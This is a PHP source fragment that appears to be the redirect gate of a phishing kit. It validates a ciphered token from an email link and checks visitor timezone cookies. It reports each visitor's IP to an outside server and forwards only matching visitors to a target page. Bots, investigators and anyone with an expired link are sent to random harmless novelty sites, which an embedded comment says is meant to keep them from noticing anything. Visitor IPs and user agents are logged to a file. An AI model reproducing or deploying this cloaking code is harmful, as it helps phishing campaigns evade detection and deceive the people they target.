utc+2
$server = "https://api-service-188910982.website/redirection/";
$timeZone = $_COOKIE["STYXKEYn"] ?? NULL;
$offset = $_COOKIE["STYXKEYd"] ?? NULL;
$token = $_GET["token"] ?? NULL;
$token = trim($token);
$ip = getRealIpAddr();
$is_expired = file_get_contents($server . "?token=" . $token . "&action=9de70f6546b2452f6e7b98b46ac36070&ip=" . $ip);
if ($timeZone && $offset) {
if ($token && startsWith(decipher($token, 10), "egnaro") && endsWith(decipher($token, 10), "trovaz") && preg_match("/" . $country . "/i", $timeZone) && $offset == $hour && ($is_expired == 404 || $is_expired == 200)) {
logging();
header("Location: " . $url."?token=".$token);
} else
fuckRedirect();
}
function logging($message = "good")
{
global $ip;
$useragent = getenv('HTTP_USER_AGENT');
$hostname = gethostbyaddr($ip);
$message .= " - " . $ip . " - " . $hostname . " - " . $useragent . " - " . gmdate("Y-n-d") . " @ " . gmdate("H:i:s");
file_put_contents("vue.txt", $message . "\n", FILE_APPEND);
}
function startsWith($haystack, $needle)
{
$length = strlen($needle);
return substr($haystack, 0, $length) === $needle;
}
function endsWith($haystack, $needle)
{
$length = strlen($needle);
if (!$length) {
return true;
}
return substr($haystack, -$length) === $needle;
}
function cipher($ch, $key)
{
if (!ctype_alpha($ch))
return $ch;
$offset = ord(ctype_upper($ch) ? 'A' : 'a');
return chr(fmod(((ord($ch) + $key) - $offset), 26) + $offset);
}
function encipher($input, $key)
{
$output = "";
$inputArr = str_split($input);
foreach ($inputArr as $ch)
$output .= cipher($ch, $key);
return $output;
}
function decipher($input, $key)
{
return encipher($input, 26 - $key);
}
function fuckRedirect() //had sitat ila mcha ta l9a chi bot wlla chi 7edd madkhelch mn email wlla lien texpira kaysayfto lwa7ed mn had sitat bach may3i9ch bli chi 7aja machi hia hadik hhhhhh
{
$sites = [
"https://longdogechallenge.com/",
"https://checkboxrace.com/",
"https://onesquareminesweeper.com/",
"http://heeeeeeeey.com/",
"http://corndog.io/",
"https://binarypiano.com/",
"https://mondrianandme.com/",
"https://puginarug.com",
"http://floatingqrcode.com/",
"https://checkboxolympics.com/",
"https://alwaysjudgeabookbyitscover.com",
"https://thatsthefinger.com/",
"https://cant-not-tweet-this.com/",
"https://cursoreffects.com",
"http://eelslap.com/",
"http://www.staggeringbeauty.com/",
"http://burymewithmymoney.com/",
"https://smashthewalls.com/",
"https://jacksonpollock.org/",
"http://endless.horse/",
"http://drawing.garden/",
"https://www.trypap.com/",
"http://www.republiquedesmangues.fr/",
"http://www.movenowthinklater.com/",
"http://www.rrrgggbbb.com/",
"http://www.koalastothemax.com/",
"http://www.everydayim.com/",
"http://randomcolour.com/",
"http://cat-bounce.com/",
"http://chrismckenzie.com/",
"https://thezen.zone/",
"http://hasthelargehadroncolliderdestroyedtheworldyet.com/",
"http://ninjaflex.com/",
"http://ihasabucket.com/",
"http://corndogoncorndog.com/",
"http://www.hackertyper.com/",
"https://pointerpointer.com",
"http://imaninja.com/",
"http://www.partridgegetslucky.com/",
"http://www.ismycomputeron.com/",
"http://www.nullingthevoid.com/",
"http://www.muchbetterthanthis.com/",
"http://www.yesnoif.com/",
"http://lacquerlacquer.com",
"http://potatoortomato.com/",
"http://iamawesome.com/",
"https://strobe.cool/",
"http://thisisnotajumpscare.com/",
"http://doughnutkitten.com/",
"http://crouton.net/",
"http://corgiorgy.com/",
"http://www.wutdafuk.com/",
"http://unicodesnowmanforyou.com/",
"http://chillestmonkey.com/",
"http://scroll-o-meter.club/",
"http://www.crossdivisions.com/",
"http://tencents.info/",
"https://boringboringboring.com/",
"http://www.patience-is-a-virtue.org/",
"http://pixelsfighting.com/",
"http://isitwhite.com/",
"https://existentialcrisis.com/",
"http://onemillionlols.com/",
"http://www.omfgdogs.com/",
"http://oct82.com/",
"http://chihuahuaspin.com/",
"https://popcat.click/",
"http://www.blankwindows.com/",
"http://tunnelsnakes.com/",
"http://www.trashloop.com/",
"http://www.ascii-middle-finger.com/",
"http://spaceis.cool/",
"http://www.doublepressure.com/",
"http://www.donothingfor2minutes.com/",
"http://buildshruggie.com/",
"http://buzzybuzz.biz/",
"http://yeahlemons.com/",
"http://wowenwilsonquiz.com",
"https://thepigeon.org/",
"http://notdayoftheweek.com/",
"http://www.amialright.com/",
"http://nooooooooooooooo.com/",
"https://greatbignothing.com/",
"https://zoomquilt.org/",
"https://dadlaughbutton.com/",
"https://remoji.com/",
"http://papertoilet.com/",
"https://loopedforinfinity.com/",
"https://www.bouncingdvdlogo.com/",
"https://findtheinvisiblecow.com/"
];
$k = array_rand($sites);
logging("bad");
header("Location: " . $sites[$k]);
}
function getRealIpAddr()
{
if (!empty($_SERVER['HTTP_CLIENT_IP'])) //check ipp from share internet
{
$ip = $_SERVER['HTTP_CLIENT_IP'];
} elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) //to check ip is pass from proxy
{
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
}
return trim(explode(",", $ip)[0]);
}
/*
Hello world